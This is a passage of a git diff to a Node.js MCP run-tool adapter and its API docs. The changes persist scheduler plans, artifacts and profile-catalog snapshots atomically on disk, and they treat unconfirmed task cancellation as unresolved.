b/docs/run-tool-api.md index a218536..01cf628 100644 --- a/docs/run-tool-api.md +++ b/docs/run-tool-api.md @@ -73,9 +73,21 @@ prose. MCP output is model-facing: owner-only raw artifacts are stripped. Production default seams are durable P24/P25/P34/P32 authorities under the supervisor state root (`runs/store`, `runs/journal`, -`runs/attention`). Tests may inject `createInProcessRunSeams` or an -explicit `seams` object. Restart recovery, journal cursors, attention -CAS, and proof-bound cleanup are not process-local Maps. +`runs/attention`, `runs/scheduler`, `runs/artifacts`). Tests may inject +`createInProcessRunSeams` or an explicit `seams` object. Restart +recovery, journal cursors, attention CAS, scheduler-plan identity, and +proof-bound cleanup are not process-local Maps. + +Production `attention.reply` binds P34 to the supervisor proof-bound +same-session mailbox (`submitReply`): the one reply round must match the +latched task/session/question identity and is delivered exactly once. +Failed or unconfirmed cancellation stays unresolved/unsafe, including +after durable restart, and never projects cancelled/safe. Authoritative +artifact bytes and scheduler-plan identity persist before or atomically +with provider dispatch; stale, partial, or mismatched state fails closed +and never duplicates dispatch. One immutable run-level profile/catalog +snapshot is loaded, bound, and persisted at submit; later catalog +mutation cannot change assignment resolution. `wait_until: "decision_or_attention"` performs a bounded wait (`wait_ms` 0 is a snapshot; omit follows the MCP pending-call budget). diff --git a/plugins/codex-co-engineer/mcp/v3/run-tool-adapter.mjs b/plugins/codex-co-engineer/mcp/v3/run-tool-adapter.mjs index 3c99a44..2ee5e14 100644 --- a/plugins/codex-co-engineer/mcp/v3/run-tool-adapter.mjs +++ b/plugins/codex-co-engineer/mcp/v3/run-tool-adapter.mjs @@ -14,7 +14,8 @@ // runtime, attention, and candidate refs. MCP output is model-facing and // therefore sanitized. -import { chmod, mkdir, readFile, writeFile } from 'node:fs/promises'; +import { createHash } from 'node:crypto'; +import { chmod, mkdir, readdir, readFile, rename, unlink, writeFile } from 'node:fs/promises'; import path from 'node:path'; import { types as utilTypes } from 'node:util'; @@ -23,6 +24,7 @@ import { validateAttentionItemsV1, } from './attention-batch.mjs'; import { MCP_PENDING_CALL_BUDGET_MS } from './contract.mjs'; +import { submitReply } from './mailbox.mjs'; import { denyRunRemoteMutationV1, } from './run-orchestration.mjs'; @@ -53,7 +55,7 @@ import { import { canonicalJsonStringify } from './identity.mjs'; import { findProfile, - loadProfiles, + loadProfileCatalogSnapshot, } from './profile.mjs'; import { PROVIDER_REGISTRY_SLOTS, @@ -263,6 +265,7 @@ const CONTENT_FREE = capturedFreeze({ catalog_sixth_tool_denied: 'The public catalog remains five tools.', cleanup_unproven: 'Cleanup requires P33 proof-bound finality.', direct_mode_rejected: 'Run submissions reject direct mode.', + durable_state_mismatch: 'Durable run state is stale, partial, or mismatched.', duplicate_assignment_id: 'Assignment ids in a run must be unique.', duplicate_task_id: 'Task ids in a run must be unique.', exotic_prototype_denied: 'Exotic prototypes are denied.', @@ -295,6 +298,7 @@ export const RUN_TOOL_ADAPTER_ERROR_CODES = capturedFreeze([ 'catalog_sixth_tool_denied', 'cleanup_unproven', 'direct_mode_rejected', + 'durable_state_mismatch', 'duplicate_assignment_id', 'duplicate_task_id', 'exotic_prototype_denied', @@ -326,6 +330,12 @@ const ADAPTER_DEPENDENCY_KEYS = capturedFreeze([ ]); const RUNTIME_METHODS = RUN_RUNTIME_METHODS; const ATTENTION_METHODS = capturedFreeze(['get', 'reply']); +const SCHEDULER_PLAN_SCHEMA = 'codex-co-engineer.run-scheduler-plan.v1'; +const CATALOG_SNAPSHOT_SCHEMA = 'codex-co-engineer.run-catalog-snapshot.v1'; +const RECONSTRUCT_LANE_STATUSES = capturedFreeze([ + 'dispatched', 'running', ...ACTIONABLE_LANE_STATUSES, +]); +const pendingRunCatalogSnapshots = new Map(); function diagnostic(value) { const text = STRING(value ?? ''); @@ -563,20 +573,54 @@ function cursorsFromReceipt(receipt) { return cursors; } -async function lookupProfileDefinition(name, repositoryPath) { +function assignmentNeedsNamedProfile(assignment) { + if (assignment === undefined || assignment === null || typeof assignment !== 'object') return false; + return capturedHasOwn(assignment, 'profile'); +} + +function submitNeedsCatalogSnapshot(run, assignments) { + const profile = optionalValue(run, 'profile', 'run.profile'); + if (typeof profile === 'string') return true; + if (!ARRAY_IS_ARRAY(assignments) && !capturedIsArray(assignments)) return false; + for (const assignment of assignments) { + if (assignmentNeedsNamedProfile(assignment)) return true; + } + return false; +} + +async function loadBoundCatalogSnapshot(repositoryPath) { if (typeof repositoryPath !== 'string' || repositoryPath.length === 0 || !path.isAbsolute(repositoryPath)) { - return null; + failAdapter('selection_unresolved', 'run.profile', CONTENT_FREE.selection_unresolved); } try { - const loaded = await loadProfiles({ repositoryPath }); - const found = findProfile(loaded, name); - return found?.definition ?? null; - } catch { - return null; + return await loadProfileCatalogSnapshot({ repositoryPath }); + } catch (error) { + if (error instanceof RunContractV1Error && error.code === 'selection_unresolved') throw error; + failAdapter('selection_unresolved', 'run.profile', CONTENT_FREE.selection_unresolved); + } + return null; +} + +function lookupSnapshotDefinition(snapshot, name, field) { + if (snapshot === null || snapshot === undefined) { + failAdapter('selection_unresolved', field, CONTENT_FREE.selection_unresolved); + } + let found; + try { + found = findProfile(snapshot, name); + } catch (error) { + if (error instanceof RunContractV1Error && error.code === 'invalid_profile_name') { + failAdapter('invalid_format', field, CONTENT_FREE.invalid_format); + } + failAdapter('selection_unresolved', field, CONTENT_FREE.selection_unresolved); + } + if (found === undefined || found === null || found.definition === undefined) { + failAdapter('selection_unresolved', field, CONTENT_FREE.selection_unresolved); } + return found.definition; } -async function resolveAssignmentSelection(assignment, path, runProfile, repositoryPath) { +function resolveAssignmentSelection(assignment, path, runProfile, snapshot) { const provider = optionalValue(assignment, 'provider', `${path}.provider`); const model = optionalValue(assignment, 'model', `${path}.model`); const assignmentProfile = optionalValue(assignment, 'profile', `${path}.profile`); @@ -586,10 +630,7 @@ async function resolveAssignmentSelection(assignment, path, runProfile, reposito const named = typeof assignmentProfile === 'string' ? assignmentProfile : runProfile; let definition = null; if (typeof named === 'string') { - definition = await lookupProfileDefinition(named, repositoryPath); - if (definition === null) { - failAdapter('selection_unresolved', path, CONTENT_FREE.selection_unresolved); - } + definition = lookupSnapshotDefinition(snapshot, named, path); } let resolvedProvider = provider; let resolvedModel = model; @@ -708,7 +749,7 @@ function stripAssignment(assignment) { return stripped; } -async function parseAssignments(value, runProfile, repositoryPath) { +function parseAssignments(value, runProfile, snapshot) { if (!ARRAY_IS_ARRAY(value) && !capturedIsArray(value)) { failAdapter('invalid_type', 'run.assignments', CONTENT_FREE.invalid_type); } @@ -734,8 +775,8 @@ async function parseAssignments(value, runProfile, repositoryPath) { failAdapter('duplicate_task_id', `${assignmentPath}.task_id`, CONTENT_FREE.duplicate_task_id); } seenTasks.add(taskId); - const resolved = await resolveAssignmentSelection( - assignment, assignmentPath, runProfile, repositoryPath, + const resolved = resolveAssignmentSelection( + assignment, assignmentPath, runProfile, snapshot, ); const prompt = optionalValue(assignment, 'prompt', `${assignmentPath}.prompt`); if (prompt !== undefined) { @@ -774,10 +815,14 @@ async function parseSubmit(args) { } const git = ownDataValue(run, 'git', 'run.git'); const repositoryPath = git && typeof git === 'object' ? git.repository_path ?? null : null; - const { assignments, prompts, durations } = await parseAssignments( - ownDataValue(run, 'assignments', 'run.assignments'), + const rawAssignments = ownDataValue(run, 'assignments', 'run.assignments'); + const snapshot = submitNeedsCatalogSnapshot(run, rawAssignments) + ? await loadBoundCatalogSnapshot(repositoryPath) + : null; + const { assignments, prompts, durations } = parseAssignments( + rawAssignments, typeof profile === 'string' ? profile : undefined, - repositoryPath, + snapshot, ); const unresolved = assignments.some((assignment) => typeof assignment.provider !== 'string' || typeof assignment.model !== 'string'); @@ -800,10 +845,12 @@ async function parseSubmit(args) { run_id: runId, objective: typeof objective === 'string' ? objective : null, profile: typeof profile === 'string' ? profile : null, + catalog_digest: typeof snapshot?.catalog_digest === 'string' ? snapshot.catalog_digest : null, prompts, durations, repository_path: repositoryPath, }), + catalogSnapshot: snapshot, }; } @@ -860,12 +907,43 @@ function projectLane(lane, projectLaneTask, classifyLaneTask) { return sanitizeModelFacing(copy); } +function cancellationUnconfirmed(operation, lanes) { + if (operation !== 'cancel' && operation !== 'cleanup') return false; + for (const lane of lanes) { + if (lane?.unresolved?.code === 'safe_cancel_unconfirmed') return true; + if (lane?.cancel_confirmed === false) return true; + } + return false; +} + +function attentionRecord(receipt) { + if (receipt === undefined || receipt === null || typeof receipt !== 'object') return receipt; + if (receipt.record !== undefined && receipt.record !== null && typeof receipt.record === 'object') { + return { + ...receipt.record, + complete_candidate_blocked: receipt.complete_candidate_blocked === true + || receipt.record.complete_candidate_blocked === true, + }; + } + return receipt; +} + function projectReceipt(tool, operation, runtimeReceipt, projectLaneTask, classifyLaneTask, wakeRequested = false) { const runId = runtimeReceipt?.run_id; - const lanes = ARRAY_IS_ARRAY(runtimeReceipt?.lanes) + let lanes = ARRAY_IS_ARRAY(runtimeReceipt?.lanes) ? runtimeReceipt.lanes.map((lane) => projectLane(lane, projectLaneTask, classifyLaneTask)) : []; - const blocked = runtimeReceipt?.complete_candidate_blocked === true + const unconfirmed = cancellationUnconfirmed(operation, lanes); + if (unconfirmed === true) { + lanes = lanes.map((lane) => { + if (lane?.unresolved?.code === 'safe_cancel_unconfirmed' || lane?.cancel_confirmed === false) { + return { ...lane, status: 'unresolved' }; + } + return lane; + }); + } + const blocked = unconfirmed === true + || runtimeReceipt?.complete_candidate_blocked === true || lanes.some((lane) => lane?.required !== false && ( lane.status === 'unresolved' || lane.status === 'failed' @@ -874,30 +952,41 @@ function projectReceipt(tool, operation, runtimeReceipt, projectLaneTask, classi )); const sideEffects = emptySideEffects(); if (runtimeReceipt?.side_effects?.task_dispatched === true) sideEffects.provider_dispatched = true; + const cleanupSource = runtimeReceipt?.cleanup ?? freezeData({ + cleaned: false, proof_bound: true, removed: 0, remaining: null, unresolved: [], + }); + const cleanup = unconfirmed === true + ? freezeData({ + ...cleanupSource, + cleaned: false, + proof_bound: true, + }) + : cleanupSource; if (runtimeReceipt?.side_effects?.task_cancelled === true - || (runtimeReceipt?.cleanup && runtimeReceipt.cleanup.cleaned === true)) { - sideEffects.cleanup_executed = runtimeReceipt?.cleanup?.cleaned === true; + || cleanup.cleaned === true) { + sideEffects.cleanup_executed = cleanup.cleaned === true; } - const attention = sanitizeModelFacing(runtimeReceipt?.attention ?? freezeData({ + const attention = sanitizeModelFacing(attentionRecord(runtimeReceipt?.attention) ?? freezeData({ batch_id: null, status: null, revision: null, wake: false, complete_candidate_blocked: blocked, })); const actionable = actionableDecision({ ...runtimeReceipt, lanes, attention }); const wake = wakeRequested === true && actionable === true; + const status = unconfirmed === true + ? 'unresolved' + : (runtimeReceipt?.status ?? 'inspected'); return freezeData({ schema: RUN_TOOL_ADAPTER_RECEIPT_SCHEMA_ID, version: RUN_TOOL_ADAPTER_VERSION, mode: 'run', tool, operation, - status: runtimeReceipt?.status ?? 'inspected', + status, run_id: runId, assignment_count: runtimeReceipt?.assignment_count ?? lanes.length, lanes, attention, - cleanup: sanitizeModelFacing(runtimeReceipt?.cleanup ?? freezeData({ - cleaned: false, proof_bound: true, removed: 0, remaining: null, unresolved: [], - })), + cleanup: sanitizeModelFacing(cleanup), decision_or_attention: freezeData({ wake, attention: attention?.status === 'open' || lanes.some((lane) => lane?.status === 'needs_attention'), @@ -1069,6 +1158,9 @@ export function createRunToolAdapter(dependencies) { let runtimeReceipt; if (operation === 'submit') { const parsed = await parseSubmit(args); + if (parsed.catalogSnapshot !== null && parsed.catalogSnapshot !== undefined) { + pendingRunCatalogSnapshots.set(parsed.runId, parsed.catalogSnapshot); + } if (rememberSubmitContext) rememberSubmitContext(parsed.context); counters.submit += 1; runtimeReceipt = await runtime.submitRun(parsed.runtimeRequest); @@ -1128,7 +1220,7 @@ export function createRunToolAdapter(dependencies) { runtimeReceipt = await runtime.inspectRun({ run_id: runId }); runtimeReceipt = freezeData({ ...runtimeReceipt, - attention: attentionReceipt, + attention: attentionRecord(attentionReceipt), }); } else if (operation === 'cancel' || operation === 'cleanup') { const runId = requireRunId(args); @@ -1171,6 +1263,134 @@ export function createRunToolAdapter(dependencies) { }); } +function echoReplyIdentity(identity, outcome) { + return freezeData({ + outcome, + run_id: identity.run_id, + assignment_id: identity.assignment_id, + task_id: identity.task_id, + session_id: identity.session_id, + question_id: identity.question_id, + }); +} + +export async function deliverSupervisorSameSessionReplyV1(root, identity) { + try { + await submitReply(root, identity.task_id, { + session_id: identity.session_id, + question_id: identity.question_id, + response: identity.response, + }); + return echoReplyIdentity(identity, 'delivered'); + } catch (error) { + if (error?.code === 'reply_already_recorded') { + return echoReplyIdentity(identity, 'already_delivered'); + } + throw error; + } +} + +export async function cancelSupervisorSameSessionReplyV1(cancelTask, identity) { + try { + const inspected = await cancelTask({ + run_id: identity.run_id, + assignment_id: identity.assignment_id, + task_id: identity.task_id, + role: identity.role, + provider: identity.provider, + }); + const confirmed = inspected?.cancelled === true + && inspected?.status === 'cancelled' + && inspected?.task_id === identity.task_id; + return echoReplyIdentity(identity, confirmed ? 'confirmed' : 'unconfirmed'); + } catch { + return echoReplyIdentity(identity, 'unconfirmed'); + } +} + +function bindAttentionReplyDelivery(attention, options = {}) { + if (attention === undefined || attention === null || typeof attention.reply !== 'function') { + return attention; + } + const deliver = typeof options.deliver === 'function' ? options.deliver : null; + const cancel = typeof options.cancel === 'function' ? options.cancel : null; + const bound = { + async get(runId) { + return attention.get(runId); + }, + async reply(request) { + const payload = { + run_id: request.run_id, + batch_id: request.batch_id, + expected_revision: request.expected_revision, + reply: request.reply, + }; + if (request.now !== undefined) payload.now = request.now; + const deliverFn = request.deliver ?? deliver; + const cancelFn = request.cancel ?? cancel; + if (typeof deliverFn === 'function') payload.deliver = deliverFn; + if (typeof cancelFn === 'function') payload.cancel = cancelFn; + return attention.reply(payload); + }, + }; + if (typeof attention.latch === 'function') { + bound.latch = async (request) => attention.latch(request); + } + return capturedFreeze(bound); +} + +function assertLatchedReplyIdentities(items, reply, runId) { + const answers = reply?.answers; + if (!ARRAY_IS_ARRAY(items) || !ARRAY_IS_ARRAY(answers)) { + fail('attention_batch_identity_mismatch', 'reply.answers', CONTENT_FREE.invalid_format); + } + const pending = items.filter((item) => item.disposition === 'pending' + && item.reply_capability === 'same_session'); + if (answers.length !== pending.length) { + fail('attention_batch_identity_mismatch', 'reply.answers', CONTENT_FREE.invalid_format); + } + const byAssignment = Object.create(null); + for (const item of pending) byAssignment[item.assignment_id] = item; + for (const answer of answers) { + const item = byAssignment[answer.assignment_id]; + if (item === undefined + || item.task_id !== answer.task_id + || item.session_id !== answer.session_id + || item.question_id !== answer.question_id + || (item.run_id !== undefined && item.run_id !== runId)) { + fail('attention_batch_identity_mismatch', 'reply.answers', CONTENT_FREE.invalid_format); + } + } +} + +async function deliverInProcessAnswers(deliver, items, reply, runId) { + if (typeof deliver !== 'function') return; + const byAssignment = Object.create(null); + for (const item of items ?? []) byAssignment[item.assignment_id] = item; + for (const answer of reply?.answers ?? []) { + const item = byAssignment[answer.assignment_id]; + const identity = { + run_id: runId, + assignment_id: answer.assignment_id, + task_id: answer.task_id, + session_id: answer.session_id, + question_id: answer.question_id, + response: answer.response, + provider: item?.provider, + role: item?.role, + }; + const result = await deliver(identity); + if (result === undefined || result === null || typeof result !== 'object') { + fail('attention_batch_identity_mismatch', 'deliver', CONTENT_FREE.invalid_format); + } + for (const key of ['run_id', 'assignment_id', 'task_id', 'session_id', 'question_id']) { + if (capturedHasOwn(result, key) && result[key] !== identity[key]) { + fail('attention_batch_identity_mismatch', `deliver.${key}`, CONTENT_FREE.invalid_format); + } + } + } +} + export function createInProcessRunSeams(options = {}) { assertPlainObject(options, 'injected_dependency_invalid', 'options', 'In-process run seams'); @@ -1317,12 +1537,14 @@ export function createInProcessRunSeams(options = {}) { if (expectedRevision !== undefined && expectedRevision !== existing.revision) { fail('attention_batch_revision_conflict', 'expected_revision', CONTENT_FREE.invalid_format); } + assertLatchedReplyIdentities(existing.items, request.reply, request.run_id); if (existing.reply !== null || existing.status === 'resolved' || existing.status === 'reply_committed') { if (canonicalJsonStringify(existing.reply) === canonicalJsonStringify(request.reply)) { return existing; } fail('attention_batch_reply_conflict', 'reply', CONTENT_FREE.invalid_format); } + await deliverInProcessAnswers(request.deliver, existing.items, request.reply, request.run_id); const record = freezeData({ ...existing, status: 'resolved', @@ -1366,11 +1588,19 @@ export function createInProcessRunSeams(options = {}) { cancelTask, clock, }); + const attention = bindAttentionReplyDelivery(attentionBatch, { + deliver: typeof options.deliverSameSessionReply === 'function' + ? options.deliverSameSessionReply + : null, + cancel: typeof options.cancelSameSessionReply === 'function' + ? options.cancelSameSessionReply + : null, + }); const runtime = createRunRuntime({ runStore, runJournal, aggregateAnchor, - attentionBatch, + attentionBatch: attention, scheduler, artifactBridge, settleLocalTaskLifecycle, @@ -1379,7 +1609,7 @@ export function createInProcessRunSeams(options = {}) { }); return capturedFreeze({ runtime, - attention: attentionBatch, + attention, scheduler, runStore, artifactBridge, @@ -1425,44 +1655,145 @@ function wrapDurableJournal({ journalRoot, store, anchor }) { }; } -function durableArtifactBridge(clock) { - const records = new Map(); - const evidence = []; - const keyOf = (runId, assignmentId, relativePath) => - `${runId}\u0000${assignmentId}\u0000${relativePath}`; +function secondPrecisionNow(clock) { + const raw = typeof clock === 'function' ? clock() : new Date().toISOString(); + if (typeof raw === 'string') return raw.replace(/\.\d{3}Z$/u, 'Z'); + return new Date().toISOString().replace(/\.\d{3}Z$/u, 'Z'); +} + +async function persistAtomicJson(filePath, value) { + await mkdir(path.dirname(filePath), { recursive: true, mode: 0o700 }); + await chmod(path.dirname(filePath), 0o700).catch(() => {}); + const tmp = `${filePath}.${process.pid}.${STRING(Date.now())}.tmp`; + try { + await writeFile(tmp, `${canonicalJsonStringify(value)}\n`, { + encoding: 'utf8', + mode: 0o600, + flag: 'wx', + }); + await chmod(tmp, 0o600); + await rename(tmp, filePath); + } catch (error) { + await unlink(tmp).catch(() => {}); + if (error instanceof RunContractV1Error) throw error; + failAdapter('durable_state_mismatch', 'state', CONTENT_FREE.durable_state_mismatch); + } +} + +async function loadAtomicJson(filePath) { + let text; + try { + text = await readFile(filePath, 'utf8'); + } catch (error) { + if (error?.code === 'ENOENT') return { missing: true, value: null }; + failAdapter('durable_state_mismatch', 'state', CONTENT_FREE.durable_state_mismatch); + } + if (typeof text !== 'string' || text.trim().length === 0 || text.includes('\0')) { + failAdapter('durable_state_mismatch', 'state', CONTENT_FREE.durable_state_mismatch); + } + let parsed; + try { + parsed = JSON.parse(text); + } catch { + failAdapter('durable_state_mismatch', 'state', CONTENT_FREE.durable_state_mismatch); + } + if (parsed === null || typeof parsed !== 'object' || ARRAY_IS_ARRAY(parsed)) { + failAdapter('durable_state_mismatch', 'state', CONTENT_FREE.durable_state_mismatch); + } + return { missing: false, value: parsed }; +} + +function encodeArtifactName(relativePath) { + return Buffer.from(STRING(relativePath)).toString('base64url'); +} + +function durableArtifactBridge(clock, artifactRoot) { const rawStore = { async publish({ artifact_ref, bytes, source_truncated }) { - const key = keyOf(artifact_ref.run_id, artifact_ref.assignment_id, artifact_ref.relative_path); - records.set(key, { + const payload = { artifact_ref: { ...artifact_ref }, - bytes: Buffer.from(bytes), + bytes: Buffer.from(bytes).toString('base64'), source_truncated: source_truncated === true, + }; + const filePath = path.join( + artifactRoot, + artifact_ref.run_id, + artifact_ref.assignment_id, + `${encodeArtifactName(artifact_ref.relative_path)}.json`, + ); + await persistAtomicJson(filePath, payload); + const readback = await this.get({ + run_id: artifact_ref.run_id, + assignment_id: artifact_ref.assignment_id, + relative_path: artifact_ref.relative_path, }); - return { artifact_ref: { ...artifact_ref } }; + if (readback === null + || readback.artifact_ref.run_id !== artifact_ref.run_id + || readback.artifact_ref.assignment_id !== artifact_ref.assignment_id + || readback.artifact_ref.relative_path !== artifact_ref.relative_path) { + failAdapter('durable_state_mismatch', 'artifact', CONTENT_FREE.durable_state_mismatch); + } + return { artifact_ref: { ...readback.artifact_ref } }; }, async get({ run_id, assignment_id, relative_path }) { - const record = records.get(keyOf(run_id, assignment_id, relative_path)); - if (!record) return null; + const filePath = path.join( + artifactRoot, run_id, assignment_id, `${encodeArtifactName(relative_path)}.json`, + ); + const loaded = await loadAtomicJson(filePath); + if (loaded.missing) return null; + const record = loaded.value; + if (record.artifact_ref?.run_id !== run_id + || record.artifact_ref?.assignment_id !== assignment_id + || record.artifact_ref?.relative_path !== relative_path + || typeof record.bytes !== 'string') { + failAdapter('durable_state_mismatch', 'artifact', CONTENT_FREE.durable_state_mismatch); + } return { artifact_ref: { ...record.artifact_ref }, - bytes: Buffer.from(record.bytes), + bytes: Buffer.from(record.bytes, 'base64'), source_truncated: record.source_truncated === true, }; }, async list({ run_id }) { const listed = []; - for (const record of records.values()) { - if (record.artifact_ref.run_id !== run_id) continue; - listed.push({ - artifact_ref: { ...record.artifact_ref }, - bytes: Buffer.from(record.bytes), - source_truncated: record.source_truncated === true, - }); + const runDir = path.join(artifactRoot, run_id); + let assignments; + try { + assignments = await readdir(runDir, { withFileTypes: true }); + } catch (error) { + if (error?.code === 'ENOENT') return listed; + failAdapter('durable_state_mismatch', 'artifact', CONTENT_FREE.durable_state_mismatch); + } + for (const assignmentDir of assignments) { + if (!assignmentDir.isDirectory()) continue; + const files = await readdir(path.join(runDir, assignmentDir.name), { withFileTypes: true }); + for (const file of files) { + if (!file.isFile() || !file.name.endsWith('.json')) continue; + const loaded = await loadAtomicJson(path.join(runDir, assignmentDir.name, file.name)); + if (loaded.missing) continue; + if (loaded.value.artifact_ref?.run_id !== run_id) { + failAdapter('durable_state_mismatch', 'artifact', CONTENT_FREE.durable_state_mismatch); + } + listed.push({ + artifact_ref: { ...loaded.value.artifact_ref }, + bytes: Buffer.from(loaded.value.bytes, 'base64'), + source_truncated: loaded.value.source_truncated === true, + }); + } } return listed; }, async remove({ run_id, assignment_id, relative_path }) { - records.delete(keyOf(run_id, assignment_id, relative_path)); + const filePath = path.join( + artifactRoot, run_id, assignment_id, `${encodeArtifactName(relative_path)}.json`, + ); + try { + await unlink(filePath); + } catch (error) { + if (error?.code !== 'ENOENT') { + failAdapter('durable_state_mismatch', 'artifact', CONTENT_FREE.durable_state_mismatch); + } + } }, }; const sanitizer = { @@ -1481,6 +1812,7 @@ function durableArtifactBridge(clock) { }; }, }; + const evidence = []; const evidenceBundle = { async append(event) { evidence.push(event); @@ -1494,7 +1826,7 @@ function durableArtifactBridge(clock) { rawStore, sanitizer, evidenceBundle, - clock: { now: () => (typeof clock === 'function' ? clock() : new Date().toISOString()) }, + clock: { now: () => secondPrecisionNow(clock) }, }); } @@ -1502,56 +1834,209 @@ function planPath(schedulerRoot, runId) { return path.join(schedulerRoot, `${runId}.json`); } -async function persistSchedulerPlan(schedulerRoot, request) { - const payload = { - run_id: request.run_id, - base_sha: request.base_sha, - assignments: request.assignments, +function catalogSnapshotPath(schedulerRoot, runId) { + return path.join(schedulerRoot, `${runId}.catalog.json`); +} + +function schedulerPlanIdentity(request) { + const digest = createHash('sha256') + .update(canonicalJsonStringify({ + assignments: request.assignments, + base_sha: request.base_sha, + run_id: request.run_id, + })) + .digest('hex'); + return `sha256:${digest}`; +} + +function boundCatalogSnapshotPayload(snapshot) { + if (snapshot === null || snapshot === undefined) return null; + return { + schema: CATALOG_SNAPSHOT_SCHEMA, + catalog_digest: snapshot.catalog_digest, + profiles: ARRAY_IS_ARRAY(snapshot.profiles) + ? snapshot.profiles.map((record) => ({ + name: record.name, + scope: record.scope, + digest: record.digest, + definition: record.definition, + })) + : [], }; - await writeFile(planPath(schedulerRoot, request.run_id), `${canonicalJsonStringify(payload)}\n`, { - encoding: 'utf8', - mode: 0o600, +} + +async function persistSchedulerPlan(schedulerRoot, payload) { + await persistAtomicJson(planPath(schedulerRoot, payload.run_id), { + schema: SCHEDULER_PLAN_SCHEMA, + run_id: payload.run_id, + base_sha: payload.base_sha, + assignments: payload.assignments, + plan_identity: payload.plan_identity, + catalog_digest: payload.catalog_digest ?? null, + dispatched: payload.dispatched === true, }); + if (payload.catalog_snapshot !== null && payload.catalog_snapshot !== undefined) { + await persistAtomicJson(catalogSnapshotPath(schedulerRoot, payload.run_id), payload.catalog_snapshot); + } } async function loadSchedulerPlan(schedulerRoot, runId) { - try { - const text = await readFile(planPath(schedulerRoot, runId), 'utf8'); - const parsed = JSON.parse(text); - if (!parsed || typeof parsed !== 'object' || parsed.run_id !== runId) return null; - return parsed; - } catch { - return null; + const loaded = await loadAtomicJson(planPath(schedulerRoot, runId)); + if (loaded.missing) return null; + const parsed = loaded.value; + if (parsed.schema !== SCHEDULER_PLAN_SCHEMA + || parsed.run_id !== runId + || typeof parsed.plan_identity !== 'string' + || typeof parsed.base_sha !== 'string' + || !ARRAY_IS_ARRAY(parsed.assignments)) { + failAdapter('durable_state_mismatch', 'plan', CONTENT_FREE.durable_state_mismatch); } + const expected = schedulerPlanIdentity({ + run_id: parsed.run_id, + base_sha: parsed.base_sha, + assignments: parsed.assignments, + }); + if (parsed.plan_identity !== expected) { + failAdapter('durable_state_mismatch', 'plan', CONTENT_FREE.durable_state_mismatch); + } + if (parsed.catalog_digest !== null && parsed.catalog_digest !== undefined) { + const snapshot = await loadAtomicJson(catalogSnapshotPath(schedulerRoot, runId)); + if (snapshot.missing || snapshot.value.catalog_digest !== parsed.catalog_digest) { + failAdapter('durable_state_mismatch', 'catalog', CONTENT_FREE.durable_state_mismatch); + } + } + return parsed; } -function reconstructLane(assignment, inspected) { +function reconstructLane(assignment, inspected, { cancelAttempted = false } = {}) { + const required = assignment.required !== false; + if (cancelAttempted === true) { + const confirmed = inspected?.cancelled === true + && inspected?.status === 'cancelled' + && inspected?.task_id === assignment.task_id; + return { + access: assignment.access, + assignment_id: assignment.assignment_id, + attention: null, + cancel_confirmed: confirmed, + cursor: inspected?.cursor ?? null, + dispatched: true, + fallback: false, + model: assignment.model, + provider: assignment.provider, + replayed: false, + required, + role: assignment.role, + starting_ref: assignment.starting_ref ?? null, + status: confirmed ? 'cancelled' : 'unresolved', + task_id: assignment.task_id, + unresolved: confirmed ? null : { + assignment_id: assignment.assignment_id, + code: 'safe_cancel_unconfirmed', + required, + }, + write_scope: assignment.write_scope, + }; + } + const status = typeof inspected?.status === 'string' && capturedIncludes(RECONSTRUCT_LANE_STATUSES, inspected.status) + ? inspected.status + : 'unresolved'; return { access: assignment.access, assignment_id: assignment.assignment_id, attention: inspected?.attention ?? null, - cancel_confirmed: inspected?.cancelled === true || inspected?.status === 'cancelled' ? true : null, + cancel_confirmed: null, cursor: inspected?.cursor ?? null, dispatched: true, fallback: false, model: assignment.model, provider: assignment.provider, replayed: false, - required: assignment.required !== false, + required, role: assignment.role, starting_ref: assignment.starting_ref ?? null, - status: typeof inspected?.status === 'string' ? inspected.status : 'dispatched', + status, task_id: assignment.task_id, - unresolved: null, + unresolved: status === 'unresolved' + ? { assignment_id: assignment.assignment_id, code: 'inspect_failed', required } + : null, write_scope: assignment.write_scope, }; } -function wrapDurableScheduler({ inner, schedulerRoot, inspectTask, cancelTask, clock }) { +async function inspectPlanLane(inspectTask, plan, assignment) { + try { + return await inspectTask({ + run_id: plan.run_id, + assignment_id: assignment.assignment_id, + task_id: assignment.task_id, + role: assignment.role, + provider: assignment.provider, + }); + } catch { + return { task_id: assignment.task_id, status: 'unresolved' }; + } +} + +async function reconstructPlanReceipt(plan, inspectTask, clock, status = 'inspected') { + const lanes = []; + for (const assignment of plan.assignments) { + const inspected = await inspectPlanLane(inspectTask, plan, assignment); + lanes.push(reconstructLane(assignment, inspected)); + } + return freezeData({ + schema: 'codex-co-engineer.run-scheduler-receipt.v1', + status, + run_id: plan.run_id, + base_sha: plan.base_sha, + created: false, + lanes, + complete_candidate_blocked: lanes.some((lane) => lane.required + && (lane.status === 'unresolved' || lane.status === 'failed')), + wake: false, + remote_mutated: false, + observed_at: clock(), + }); +} + +function wrapDurableScheduler({ + inner, schedulerRoot, inspectTask, cancelTask, clock, beforeProviderDispatch, +}) { return { async submitAssignments(request) { + const identity = schedulerPlanIdentity(request); + const existing = await loadSchedulerPlan(schedulerRoot, request.run_id); + if (existing !== null) { + if (existing.plan_identity !== identity || existing.base_sha !== request.base_sha) { + failAdapter('durable_state_mismatch', 'plan', CONTENT_FREE.durable_state_mismatch); + } + return reconstructPlanReceipt(existing, inspectTask, clock, 'idempotent'); + } + const snapshot = pendingRunCatalogSnapshots.get(request.run_id) ?? null; + const catalogPayload = boundCatalogSnapshotPayload(snapshot); + await persistSchedulerPlan(schedulerRoot, { + run_id: request.run_id, + base_sha: request.base_sha, + assignments: request.assignments, + plan_identity: identity, + catalog_digest: catalogPayload?.catalog_digest ?? null, + catalog_snapshot: catalogPayload, + dispatched: false, + }); + pendingRunCatalogSnapshots.delete(request.run_id); + if (typeof beforeProviderDispatch === 'function') { + await beforeProviderDispatch(request); + } const receipt = await inner.submitAssignments(request); - await persistSchedulerPlan(schedulerRoot, request); + await persistSchedulerPlan(schedulerRoot, { + run_id: request.run_id, + base_sha: request.base_sha, + assignments: request.assignments, + plan_identity: identity, + catalog_digest: catalogPayload?.catalog_digest ?? null, + catalog_snapshot: catalogPayload, + dispatched: true, + }); return receipt; }, async resumeAssignments(request) { @@ -1563,35 +2048,7 @@ function wrapDurableScheduler({ inner, schedulerRoot, inspectTask, cancelTask, c } const plan = await loadSchedulerPlan(schedulerRoot, request.run_id); if (plan === null) throw error; - const lanes = []; - for (const assignment of plan.assignments) { - let inspected = null; - try { - inspected = await inspectTask({ - run_id: plan.run_id, - assignment_id: assignment.assignment_id, - task_id: assignment.task_id, - role: assignment.role, - provider: assignment.provider, - }); - } catch { - inspected = { 